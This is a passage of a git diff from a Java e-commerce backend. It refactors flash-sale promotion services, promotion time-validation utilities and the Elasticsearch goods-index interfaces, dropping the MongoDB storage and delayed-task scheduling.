cn.lili.common.utils.DateUtil.endOfDate()) - .and(i -> i.eq(Seckill::getPromotionStatus, PromotionStatusEnum.NEW.name()) - .or(j -> j.eq(Seckill::getPromotionStatus, PromotionStatusEnum.START.name()))); - List seckillList = this.seckillService.list(seckillLambdaQueryWrapper); - if (!seckillList.isEmpty()) { - for (Seckill seckill : seckillList) { - LambdaQueryWrapper seckillApplyLambdaQueryWrapper = new LambdaQueryWrapper().eq(SeckillApply::getTimeLine, startTimeline).eq(SeckillApply::getSeckillId, seckill.getId()).eq(SeckillApply::getPromotionApplyStatus, PromotionApplyStatusEnum.PASS.name()); - List list = this.list(seckillApplyLambdaQueryWrapper); - for (SeckillApply seckillApply : list) { - GoodsSku goodsSku = goodsSkuService.getGoodsSkuByIdFromCache(seckillApply.getSkuId()); - if (goodsSku != null) { - SeckillGoodsVO goodsVO = new SeckillGoodsVO(); - BeanUtil.copyProperties(seckillApply, goodsVO); - goodsVO.setGoodsImage(goodsSku.getThumbnail()); - goodsVO.setGoodsId(goodsSku.getGoodsId()); - goodsVO.setGoodsName(goodsSku.getGoodsName()); - seckillGoodsVoS.add(goodsVO); - } + List seckillApplyList = this.list(new LambdaQueryWrapper().eq(SeckillApply::getSeckillId, seckillId)); + if (!seckillApplyList.isEmpty()) { + List collect = seckillApplyList.stream().filter(i -> i.getTimeLine().equals(startTimeline) && i.getPromotionApplyStatus().equals(PromotionsApplyStatusEnum.PASS.name())).collect(Collectors.toList()); + for (SeckillApply seckillApply : collect) { + GoodsSku goodsSku = goodsSkuService.getGoodsSkuByIdFromCache(seckillApply.getSkuId()); + if (goodsSku != null) { + SeckillGoodsVO goodsVO = new SeckillGoodsVO(); + BeanUtil.copyProperties(seckillApply, goodsVO); + goodsVO.setGoodsImage(goodsSku.getThumbnail()); + goodsVO.setGoodsId(goodsSku.getGoodsId()); + goodsVO.setGoodsName(goodsSku.getGoodsName()); + seckillGoodsVoS.add(goodsVO); } } } @@ -361,7 +320,7 @@ public class SeckillApplyServiceImpl extends ServiceImpl implements SeckillService { +@Slf4j +public class SeckillServiceImpl extends AbstractPromotionsServiceImpl implements SeckillService { - - /** - * 延时任务 - */ - @Autowired - private TimeTrigger timeTrigger; - /** - * Mongo - */ - @Autowired - private MongoTemplate mongoTemplate; - /** - * RocketMQ - */ - @Autowired - private RocketmqCustomProperties rocketmqCustomProperties; /** * 商品索引 */ @Autowired private EsGoodsIndexService goodsIndexService; - /** - * 促销商品 - */ - @Autowired - private PromotionGoodsService promotionGoodsService; - /** - * 秒杀申请 - */ - @Autowired - private SeckillApplyService seckillApplyService; /** * 设置 */ @Autowired private SettingService settingService; - @Override - public IPage getSeckillByPageFromMysql(SeckillSearchParams queryParam, PageVO pageVo) { - QueryWrapper queryWrapper = queryParam.wrapper(); - return page(PageUtil.initPage(pageVo), queryWrapper); - } + @Autowired + private SeckillApplyService seckillApplyService; + @Override - public IPage getSeckillByPageFromMongo(SeckillSearchParams queryParam, PageVO pageVo) { - IPage seckill = new Page<>(pageVo.getPageNumber(), pageVo.getPageSize()); - if (queryParam == null) { - queryParam = new SeckillSearchParams(); - } - Query query = queryParam.mongoQuery(); - pageVo.setNotConvert(true); - PromotionTools.mongoQueryPageParam(query, pageVo); - seckill.setCurrent(pageVo.getPageNumber()); - seckill.setSize(pageVo.getPageSize()); - List seckillVOS = this.mongoTemplate.find(query, SeckillVO.class); - seckill.setRecords(seckillVOS); - seckill.setTotal(this.mongoTemplate.count(queryParam.mongoQuery(), SeckillVO.class)); - return seckill; - } - - @Override - public SeckillVO getSeckillByIdFromMongo(String id) { - return this.checkSeckillExist(id); + public SeckillVO getSeckillDetail(String id) { + Seckill seckill = this.checkSeckillExist(id); + SeckillVO seckillVO = new SeckillVO(); + BeanUtils.copyProperties(seckill, seckillVO); + seckillVO.setSeckillApplyList(this.seckillApplyService.list(new LambdaQueryWrapper().eq(SeckillApply::getSeckillId, id))); + return seckillVO; } @Override public void init() { //清除演示数据 - List seckillList = list(); + List seckillList = this.list(); for (Seckill seckill : seckillList) { - this.timeTrigger.delete(TimeExecuteConstant.PROMOTION_EXECUTOR, - seckill.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (PromotionTypeEnum.SECKILL.name() + seckill.getId())), - rocketmqCustomProperties.getPromotionTopic()); - this.removeById(seckill.getId()); + seckill.setStartTime(null); + seckill.setEndTime(null); + this.goodsIndexService.updateEsGoodsIndexAllByList(seckill, PromotionTypeEnum.SECKILL.name() + "-" + seckill.getId()); } + this.remove(new QueryWrapper<>()); Setting setting = settingService.get(SettingEnum.SECKILL_SETTING.name()); SeckillSetting seckillSetting = new Gson().fromJson(setting.getSettingValue(), SeckillSetting.class); for (int i = 1; i <= PRE_CREATION; i++) { Seckill seckill = new Seckill(i, seckillSetting.getHours(), seckillSetting.getSeckillRule()); - this.saveSeckill(seckill); - } - } - - @Override - public boolean saveSeckill(Seckill seckill) { - - SeckillVO seckillVO = new SeckillVO(); - BeanUtil.copyProperties(seckill, seckillVO); - - seckillVO.setSeckillApplyStatus(SeckillApplyStatusEnum.NOT_APPLY.name()); - seckillVO.setSeckillApplyList(null); - //检查秒杀活动参数 - checkSeckillParam(seckillVO); - //保存到MYSQL中 - boolean result = this.save(seckillVO); - //保存到MONGO中 - this.mongoTemplate.save(seckillVO); - //添加秒杀延时任务 - this.addSeckillStartTask(seckillVO); - return result; - } - - @Override - public void storeApply(String storeId, String seckillId) { - Seckill seckill = this.getById(seckillId); - String storeIds; - if (!StringUtils.isEmpty(seckill.getStoreIds())) { - storeIds = seckill.getStoreIds() + storeId + ","; - } else { - storeIds = storeId + ","; - } - seckill.setStoreIds(storeIds); - - this.updateById(seckill); - } - - @Override - public boolean modifySeckill(SeckillVO seckillVO) { - //检查该秒杀活动是否存在 - SeckillVO seckill = checkSeckillExist(seckillVO.getId()); - if (PromotionStatusEnum.START.name().equals(seckillVO.getPromotionStatus())) { - throw new ServiceException(ResultCode.PROMOTION_UPDATE_ERROR); - } - if (seckillVO.getEndTime() == null) { - seckillVO.setEndTime(cn.hutool.core.date.DateUtil.endOfDay(seckillVO.getStartTime())); - } - PromotionTools.checkPromotionTime(seckillVO.getStartTime().getTime(), seckillVO.getEndTime().getTime()); - //检查秒杀活动参数 - this.checkSeckillParam(seckillVO); - //更新到MYSQL中 - boolean result = this.updateById(seckillVO); - //保存到MONGO中 - this.mongoTemplate.save(seckillVO); - //如果编辑后活动时间不一致,则编辑延时任务 - if (seckill.getStartTime().getTime() != seckillVO.getStartTime().getTime()) { - if (seckillVO.getEndTime() == null) { - seckillVO.setEndTime(cn.hutool.core.date.DateUtil.endOfDay(new Date())); - } - PromotionMessage promotionMessage = new PromotionMessage(seckillVO.getId(), PromotionTypeEnum.SECKILL.name(), PromotionStatusEnum.START.name(), seckillVO.getStartTime(), seckillVO.getEndTime()); - //更新延时任务 - this.timeTrigger.edit(TimeExecuteConstant.PROMOTION_EXECUTOR, - promotionMessage, - seckill.getStartTime().getTime(), - seckillVO.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - DateUtil.getDelayTime(seckillVO.getStartTime().getTime()), - rocketmqCustomProperties.getPromotionTopic()); - } - return result; - } - - @Override - public void deleteSeckill(String id) { - Seckill seckill = checkSeckillExist(id); - if (PromotionStatusEnum.CLOSE.name().equals(seckill.getPromotionStatus()) || PromotionStatusEnum.END.name().equals(seckill.getPromotionStatus())) { - //更新秒杀活动状态为关闭,标示删除标志 - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper().eq(Seckill::getId, id).set(Seckill::getDeleteFlag, true).set(Seckill::getPromotionStatus, PromotionStatusEnum.CLOSE.name()); - this.update(updateWrapper); - LambdaUpdateWrapper seckillApplyLambdaUpdateWrapper = new LambdaUpdateWrapper().eq(SeckillApply::getSeckillId, id).set(SeckillApply::getDeleteFlag, true); - this.seckillApplyService.update(seckillApplyLambdaUpdateWrapper); - this.mongoTemplate.remove(new Query().addCriteria(Criteria.where("id").is(id)), SeckillVO.class); - LambdaUpdateWrapper promotionGoodsQueryWrapper = new LambdaUpdateWrapper().eq(PromotionGoods::getPromotionId, id).set(PromotionGoods::getDeleteFlag, true); - this.promotionGoodsService.update(promotionGoodsQueryWrapper); - this.timeTrigger.delete(TimeExecuteConstant.PROMOTION_EXECUTOR, - seckill.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (PromotionTypeEnum.SECKILL.name() + seckill.getId())), - rocketmqCustomProperties.getPromotionTopic()); - } else { - throw new ServiceException(ResultCode.SECKILL_DELETE_ERROR); - } - } - - /** - * 开启一个秒杀活动 - * - * @param id 秒杀活动编号 - */ - @Override - public void openSeckill(String id) { - SeckillVO seckillVO = checkSeckillExist(id); - if (seckillVO.getEndTime() == null) { - seckillVO.setEndTime(cn.hutool.core.date.DateUtil.endOfDay(seckillVO.getStartTime())); - } - PromotionTools.checkPromotionTime(seckillVO.getStartTime().getTime(), seckillVO.getEndTime().getTime()); - if (PromotionStatusEnum.NEW.name().equals(seckillVO.getPromotionStatus()) || PromotionStatusEnum.CLOSE.name().equals(seckillVO.getPromotionStatus())) { - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper().eq(Seckill::getId, id).set(Seckill::getPromotionStatus, PromotionStatusEnum.START.name()); - this.update(updateWrapper); - seckillVO.setPromotionStatus(PromotionStatusEnum.START.name()); - this.mongoTemplate.save(seckillVO); - this.addSeckillStartTask(seckillVO); - } - } - - @Override - public void closeSeckill(String id) { - SeckillVO seckillVO = checkSeckillExist(id); - if (PromotionStatusEnum.NEW.name().equals(seckillVO.getPromotionStatus()) || PromotionStatusEnum.START.name().equals(seckillVO.getPromotionStatus())) { - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper().eq(Seckill::getId, id).set(Seckill::getPromotionStatus, PromotionStatusEnum.CLOSE.name()); - this.update(updateWrapper); - seckillVO.setPromotionStatus(PromotionStatusEnum.CLOSE.name()); - this.mongoTemplate.save(seckillVO); - if (PromotionStatusEnum.CLOSE.name().equals(seckillVO.getPromotionStatus())) { - LambdaQueryWrapper deleteWrapper = new LambdaQueryWrapper<>(); - deleteWrapper.eq(PromotionGoods::getPromotionId, seckillVO.getId()); - promotionGoodsService.remove(deleteWrapper); - if (seckillVO.getSeckillApplyList() != null) { - List skuIds = seckillVO.getSeckillApplyList().stream().map(SeckillApply::getSkuId).collect(Collectors.toList()); - this.goodsIndexService.deleteEsGoodsPromotionIndexByList(skuIds, PromotionTypeEnum.SECKILL); - } - this.timeTrigger.delete(TimeExecuteConstant.PROMOTION_EXECUTOR, - seckillVO.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (PromotionTypeEnum.SECKILL.name() + seckillVO.getId())), - rocketmqCustomProperties.getPromotionTopic()); - } - } else { - throw new ServiceException(ResultCode.SECKILL_CLOSE_ERROR); + this.savePromotions(seckill); } } @Override public Integer getApplyNum() { - LambdaQueryWrapper queryWrapper = Wrappers.lambdaQuery(); - //秒杀申请时间未超过当前时间 - queryWrapper.ge(Seckill::getApplyEndTime, cn.hutool.core.date.DateUtil.date()); - queryWrapper.eq(Seckill::getPromotionStatus, PromotionStatusEnum.NEW.name()); + DateTime now = DateUtil.date(); + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); + queryWrapper.ge(Seckill::getApplyEndTime, now); + queryWrapper.le(Seckill::getStartTime, now); + queryWrapper.ge(Seckill::getEndTime, now); return this.count(queryWrapper); } @Override public void updateSeckillGoodsNum(String seckillId) { - this.baseMapper.updateSeckillGoodsNum(seckillId); + Seckill seckill = this.getById(seckillId); + if (seckill != null) { + LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); + updateWrapper.eq(Seckill::getId, seckillId); + updateWrapper.set(Seckill::getGoodsNum, + this.seckillApplyService.count(new LambdaQueryWrapper().eq(SeckillApply::getSeckillId, seckillId))); + this.update(updateWrapper); + + } } /** - * 添加秒杀活动延时任务 + * 更新商品索引限时抢购信息 * - * @param seckill 秒杀活动 + * @param seckill 限时抢购信息 */ - public void addSeckillStartTask(SeckillVO seckill) { - PromotionMessage promotionMessage = new PromotionMessage(seckill.getId(), PromotionTypeEnum.SECKILL.name(), PromotionStatusEnum.START.name(), seckill.getStartTime(), seckill.getEndTime()); - TimeTriggerMsg timeTriggerMsg = new TimeTriggerMsg(TimeExecuteConstant.PROMOTION_EXECUTOR, - seckill.getStartTime().getTime(), - promotionMessage, - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - rocketmqCustomProperties.getPromotionTopic()); - //发送促销活动开始的延时任务 - this.timeTrigger.addDelay(timeTriggerMsg); + @Override + public void updateEsGoodsSeckill(Seckill seckill, List seckillApplies) { + if (seckillApplies != null && !seckillApplies.isEmpty()) { + //循环秒杀商品数据,将数据按照时间段进行存储 + for (SeckillApply seckillApply : seckillApplies) { + if (seckillApply.getPromotionApplyStatus().equals(PromotionsApplyStatusEnum.PASS.name())) { + this.setSeckillApplyTime(seckill, seckillApply); + log.info("更新限时抢购商品状态:{}", seckill); + String promotionKey = PromotionTypeEnum.SECKILL.name() + "-" + seckillApply.getTimeLine(); + this.goodsIndexService.updateEsGoodsIndexPromotions(seckillApply.getSkuId(), seckill, promotionKey, seckillApply.getPrice()); + } + } + } + } + + @Override + public void setSeckillApplyTime(Seckill seckill, SeckillApply seckillApply) { + //下一个时间,默认为当天结束时间 + int nextHour = PromotionTools.nextHour(seckill.getHours().split(","), seckillApply.getTimeLine()); + + String format = DateUtil.format(seckill.getStartTime(), DatePattern.NORM_DATE_PATTERN); + DateTime parseStartTime = DateUtil.parse((format + " " + seckillApply.getTimeLine()), "yyyy-MM-dd HH"); + DateTime parseEndTime = DateUtil.parse((format + " " + nextHour), "yyyy-MM-dd HH"); + //如果是当天最后的时间段则设置到当天结束时间的59分59秒 + if (nextHour == seckillApply.getTimeLine()) { + parseEndTime = DateUtil.parse((format + " " + nextHour + ":59:59"), DatePattern.NORM_DATETIME_PATTERN); + } + seckill.setStartTime(parseStartTime); + //当时商品的秒杀活动活动结束时间为下个时间段的开始 + seckill.setEndTime(parseEndTime); } /** @@ -320,8 +155,8 @@ public class SeckillServiceImpl extends ServiceImpl impl * @param id 秒杀活动编号 * @return 秒杀活动信息 */ - private SeckillVO checkSeckillExist(String id) { - SeckillVO seckill = this.mongoTemplate.findById(id, SeckillVO.class); + private Seckill checkSeckillExist(String id) { + Seckill seckill = this.getById(id); if (seckill == null) { throw new ServiceException(ResultCode.SECKILL_NOT_EXIST_ERROR); } @@ -329,17 +164,53 @@ public class SeckillServiceImpl extends ServiceImpl impl } /** - * 检查秒杀活动参数 + * 初始化促销字段 * - * @param seckill 秒杀活动信息 + * @param promotions 促销实体 */ - private void checkSeckillParam(SeckillVO seckill) { - //同一时间段内相同的活动 - QueryWrapper queryWrapper = PromotionTools.checkActiveTime(seckill.getStartTime(), seckill.getEndTime(), PromotionTypeEnum.SECKILL, null, seckill.getId()); - int sameNum = this.count(queryWrapper); - //当前时间段是否存在同类活动 - if (sameNum > 0) { - throw new ServiceException(ResultCode.PROMOTION_SAME_ACTIVE_EXIST); + @Override + public void initPromotion(Seckill promotions) { + super.initPromotion(promotions); + if (promotions.getStartTime() != null && promotions.getEndTime() == null) { + promotions.setEndTime(DateUtil.endOfDay(promotions.getStartTime())); } } + + /** + * 检查促销状态 + * + * @param promotions 促销实体 + */ + @Override + public void checkStatus(Seckill promotions) { + super.checkStatus(promotions); + if (promotions.getStartTime() != null && CharSequenceUtil.isNotEmpty(promotions.getHours())) { + String[] split = promotions.getHours().split(","); + Arrays.sort(split); + String startTimeStr = DateUtil.format(promotions.getStartTime(), DatePattern.NORM_DATE_PATTERN) + " " + split[0] + ":00"; + promotions.setStartTime(DateUtil.parse(startTimeStr, DatePattern.NORM_DATETIME_MINUTE_PATTERN)); + promotions.setEndTime(DateUtil.endOfDay(promotions.getStartTime())); + } + if (promotions.getStartTime() != null && promotions.getEndTime() != null) { + //同一时间段内相同的活动 + QueryWrapper queryWrapper = PromotionTools.checkActiveTime(promotions.getStartTime(), promotions.getEndTime(), PromotionTypeEnum.SECKILL, null, promotions.getId()); + int sameNum = this.count(queryWrapper); + //当前时间段是否存在同类活动 + if (sameNum > 0) { + throw new ServiceException(ResultCode.PROMOTION_SAME_ACTIVE_EXIST); + } + } + + + } + + /** + * 当前促销类型 + * + * @return 当前促销类型 + */ + @Override + public PromotionTypeEnum getPromotionType() { + return PromotionTypeEnum.SECKILL; + } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java b/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java index cab5edfe..903565ae 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java +++ b/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java @@ -1,5 +1,6 @@ package cn.lili.modules.promotion.tools; +import cn.hutool.core.date.DateTime; import cn.hutool.core.date.DateUtil; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.enums.PromotionTypeEnum; @@ -7,15 +8,17 @@ import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.dto.BasePromotion; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import org.springframework.data.domain.PageRequest; import org.springframework.data.domain.Sort; import org.springframework.data.mongodb.core.query.Query; +import java.util.Arrays; import java.util.Date; import java.util.List; +import java.util.function.Consumer; /** @@ -26,6 +29,10 @@ import java.util.List; **/ public class PromotionTools { + public static final String START_TIME_COLUMN = "start_time"; + public static final String END_TIME_COLUMN = "end_time"; + + /** * 参数验证 * 1、活动起始时间必须大于当前时间 @@ -36,7 +43,7 @@ public class PromotionTools { * @param num 参与活动商品数量 * @param goodsList 选择的商品 */ - public static void paramValid(Long startTime, Long endTime, int num, List goodsList) { + public static void paramValid(Date startTime, Date endTime, int num, List goodsList) { checkPromotionTime(startTime, endTime); @@ -54,17 +61,25 @@ public class PromotionTools { * @param startTime 活动开始时间 * @param endTime 活动结束时间 */ - public static void checkPromotionTime(Long startTime, Long endTime) { + public static void checkPromotionTime(Date startTime, Date endTime) { - long nowTime = DateUtil.current(); + if (startTime == null) { + throw new ServiceException(ResultCode.PROMOTION_TIME_NOT_EXIST); + } + + DateTime now = DateUtil.date(); //如果活动起始时间小于现在时间 - if (startTime < nowTime || endTime < nowTime) { + if (now.after(startTime)) { throw new ServiceException(ResultCode.PROMOTION_START_TIME_ERROR); } + //如果活动结束时间小于现在时间 + if (endTime != null && now.after(endTime)) { + throw new ServiceException(ResultCode.PROMOTION_END_TIME_ERROR); + } //开始时间不能大于结束时间 - if (startTime > endTime) { + if (endTime != null && startTime.after(endTime)) { throw new ServiceException(ResultCode.PROMOTION_TIME_ERROR); } } @@ -76,23 +91,20 @@ public class PromotionTools { * @param endTime 结束时间 * @param typeEnum 促销类型 * @param storeId 店铺id - * @param activityId 促销活动id - * @param 促销类型 + * @param activityId 排除的促销活动id * @return mybatis plus query wrapper对象 */ - public static QueryWrapper checkActiveTime(Date startTime, Date endTime, PromotionTypeEnum typeEnum, String storeId, String activityId) { + public static QueryWrapper checkActiveTime(Date startTime, Date endTime, PromotionTypeEnum typeEnum, String storeId, String activityId) { QueryWrapper queryWrapper = new QueryWrapper<>(); - String startTimeColumn = "start_time"; - String endTimeColumn = "end_time"; if (PromotionTypeEnum.SECKILL != typeEnum) { queryWrapper.nested(i -> { //新活动起始时间 大于 之前活动的起始时间 小于 之前活动的截止时间 - i.nested(i2 -> i2.le(startTimeColumn, startTime).ge(endTimeColumn, startTime)); + i.nested(i2 -> i2.le(START_TIME_COLUMN, startTime).ge(END_TIME_COLUMN, startTime)); //新活动结束时间 大于 之前活动的起始时间 小于 之前活动的截止时间 - i.or(i1 -> i1.le(startTimeColumn, endTime).ge(endTimeColumn, endTime)); + i.or(i1 -> i1.le(START_TIME_COLUMN, endTime).ge(END_TIME_COLUMN, endTime)); }); } else { - queryWrapper.ge(startTimeColumn, DateUtil.beginOfDay(startTime)).le(endTimeColumn, DateUtil.endOfDay(endTime)); + queryWrapper.ge(START_TIME_COLUMN, DateUtil.beginOfDay(startTime)).le(END_TIME_COLUMN, DateUtil.endOfDay(endTime)); } if (storeId != null) { queryWrapper.eq("store_id", storeId); @@ -100,13 +112,27 @@ public class PromotionTools { if (activityId != null) { queryWrapper.ne("id", activityId); } - //忽略已作废和已关闭的活动 - queryWrapper.ne("promotion_status", PromotionStatusEnum.END.name()); - queryWrapper.ne("promotion_status", PromotionStatusEnum.CLOSE.name()); + queryWrapper.and(i -> i.or(queryPromotionStatus(PromotionsStatusEnum.NEW)).or(queryPromotionStatus(PromotionsStatusEnum.START))); queryWrapper.eq("delete_flag", false); return queryWrapper; } + + public static Consumer> queryPromotionStatus(PromotionsStatusEnum promotionsStatusEnum) { + switch (promotionsStatusEnum) { + case NEW: + return (QueryWrapper t) -> t.nested(i -> i.gt(START_TIME_COLUMN, new Date()).gt(END_TIME_COLUMN, new Date())); + case START: + return (QueryWrapper t) -> t.nested(i -> i.le(START_TIME_COLUMN, new Date()).ge(END_TIME_COLUMN, new Date())); + case END: + return (QueryWrapper t) -> t.nested(i -> i.lt(START_TIME_COLUMN, new Date()).lt(END_TIME_COLUMN, new Date())); + case CLOSE: + return (QueryWrapper t) -> t.nested(i -> i.isNull(START_TIME_COLUMN).isNull(END_TIME_COLUMN)); + default: + return null; + } + } + /** * 促销商品入库前填充 * @@ -114,21 +140,23 @@ public class PromotionTools { * @param promotion 促销信息 * @return 促销商品列表 */ - public static List promotionGoodsInit(List originList, BasePromotion promotion, PromotionTypeEnum promotionTypeEnum) { - //本次促销商品入库 - for (PromotionGoods promotionGoods : originList) { - promotionGoods.setPromotionId(promotion.getId()); - promotionGoods.setStoreName(promotion.getStoreName()); - promotionGoods.setTitle(promotion.getPromotionName()); - if (promotionGoods.getStartTime() == null) { - promotionGoods.setStartTime(promotion.getStartTime()); + public static List promotionGoodsInit(List originList, BasePromotions promotion, PromotionTypeEnum promotionTypeEnum) { + if (originList != null) { + //本次促销商品入库 + for (PromotionGoods promotionGoods : originList) { + promotionGoods.setPromotionId(promotion.getId()); + promotionGoods.setStoreName(promotion.getStoreName()); + promotionGoods.setTitle(promotion.getPromotionName()); + if (promotionGoods.getStartTime() == null) { + promotionGoods.setStartTime(promotion.getStartTime()); + } + if (promotionGoods.getEndTime() == null) { + promotionGoods.setEndTime(promotion.getEndTime()); + } + promotionGoods.setPromotionType(promotionTypeEnum.name()); + promotionGoods.setNum(0); + promotionGoods.setDeleteFlag(promotion.getDeleteFlag()); } - if (promotion.getEndTime() == null) { - promotionGoods.setEndTime(promotion.getEndTime()); - } - promotionGoods.setPromotionType(promotionTypeEnum.name()); - promotionGoods.setPromotionStatus(promotion.getPromotionStatus()); - promotionGoods.setNum(0); } return originList; } @@ -147,4 +175,17 @@ public class PromotionTools { } } + public static int nextHour(String[] totalHours, Integer timeline) { + int nextHour = 23; + int[] hoursSored = Arrays.stream(totalHours).mapToInt(Integer::parseInt).toArray(); + Arrays.sort(hoursSored); + for (int i : hoursSored) { + if (timeline < i) { + nextHour = i; + break; + } + } + return nextHour; + } + } diff --git a/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java b/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java index f7edeb7e..fd17d645 100644 --- a/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java +++ b/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java @@ -4,7 +4,7 @@ import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.entity.dto.GoodsParamsDTO; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.dto.BasePromotion; +import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.search.entity.dos.EsGoodsIndex; import java.util.List; @@ -94,7 +94,16 @@ public interface EsGoodsIndexService { * @param key 促销信息的key * @param price 促销价格 */ - void updateEsGoodsIndex(String id, BasePromotion promotion, String key, Double price); + void updateEsGoodsIndexPromotions(String id, BasePromotions promotion, String key, Double price); + + /** + * 更新商品索引的促销信息 + * + * @param ids id(skuId) + * @param promotion 促销信息 + * @param key 促销信息的key + */ + void updateEsGoodsIndexPromotions(List ids, BasePromotions promotion, String key); /** * 根据列表更新商品索引的促销信息 @@ -103,7 +112,7 @@ public interface EsGoodsIndexService { * @param promotion 促销信息 * @param key 促销信息的key */ - void updateEsGoodsIndexByList(List promotionGoodsList, BasePromotion promotion, String key); + void updateEsGoodsIndexByList(List promotionGoodsList, BasePromotions promotion, String key); /** * 更新全部商品索引的促销信息 @@ -111,7 +120,7 @@ public interface EsGoodsIndexService { * @param promotion 促销信息 * @param key 促销信息的key */ - void updateEsGoodsIndexAllByList(BasePromotion promotion, String key); + void updateEsGoodsIndexAllByList(BasePromotions promotion, String key); /** * 删除指定商品的促销信息 diff --git a/framework/src/main/java/cn/lili/modules/search/service/EsGoodsSearchService.java b/framework/src/main/java/cn/lili/modules/search/service/EsGoodsSearchService.java index 9449e688..b7c97186 100644 --- a/framework/src/main/java/cn/lili/modules/search/service/EsGoodsSearchService.java +++ b/framework/src/main/java/cn/lili/modules/search/service/EsGoodsSearchService.java @@ -57,4 +57,12 @@ public interface EsGoodsSearchService { * @return ES商品列表 */ List getEsGoodsBySkuIds(List skuIds); + + /** + * 根据id获取商品索引 + * + * @param id 商品skuId + * @return 商品索引 + */ + EsGoodsIndex getEsGoodsById(String id); } diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/CustomWordsServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/CustomWordsServiceImpl.java index 2cb3b7e8..6cdf3b00 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/CustomWordsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/CustomWordsServiceImpl.java @@ -1,20 +1,21 @@ package cn.lili.modules.search.serviceimpl; +import cn.lili.common.context.ThreadContextHolder; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; -import cn.lili.mybatis.util.PageUtil; import cn.lili.common.vo.PageVO; -import cn.lili.common.context.ThreadContextHolder; import cn.lili.modules.search.entity.dos.CustomWords; import cn.lili.modules.search.entity.vo.CustomWordsVO; import cn.lili.modules.search.mapper.CustomWordsMapper; import cn.lili.modules.search.service.CustomWordsService; +import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.stereotype.Service; import javax.servlet.http.HttpServletResponse; +import java.nio.charset.StandardCharsets; import java.util.List; /** @@ -32,14 +33,13 @@ public class CustomWordsServiceImpl extends ServiceImpl queryWrapper = new LambdaQueryWrapper().eq(CustomWords::getName, customWordsVO.getName()); + CustomWords one = this.getOne(queryWrapper, false); + if (one != null && one.getDisabled().equals(1)) { throw new ServiceException(ResultCode.CUSTOM_WORDS_EXIST_ERROR); + } else if (one != null && !one.getDisabled().equals(1)) { + this.remove(queryWrapper); } + customWordsVO.setDisabled(1); return this.save(customWordsVO); } diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java index 7bead3dd..c36c7531 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java @@ -22,11 +22,12 @@ import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.goods.entity.enums.GoodsWordsTypeEnum; import cn.lili.modules.goods.service.*; +import cn.lili.modules.promotion.entity.dos.Pintuan; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.dto.BasePromotion; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.dos.Seckill; +import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.service.PromotionService; -import cn.lili.modules.search.entity.dos.EsGoodsAttribute; import cn.lili.modules.search.entity.dos.EsGoodsIndex; import cn.lili.modules.search.entity.dto.EsGoodsSearchDTO; import cn.lili.modules.search.repository.EsGoodsIndexRepository; @@ -41,8 +42,6 @@ import org.elasticsearch.action.ActionListener; import org.elasticsearch.action.bulk.BulkRequest; import org.elasticsearch.action.update.UpdateRequest; import org.elasticsearch.client.RequestOptions; -import org.elasticsearch.client.indices.AnalyzeRequest; -import org.elasticsearch.client.indices.AnalyzeResponse; import org.elasticsearch.index.query.BoolQueryBuilder; import org.elasticsearch.index.query.QueryBuilders; import org.elasticsearch.index.query.TermQueryBuilder; @@ -165,7 +164,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements public Map 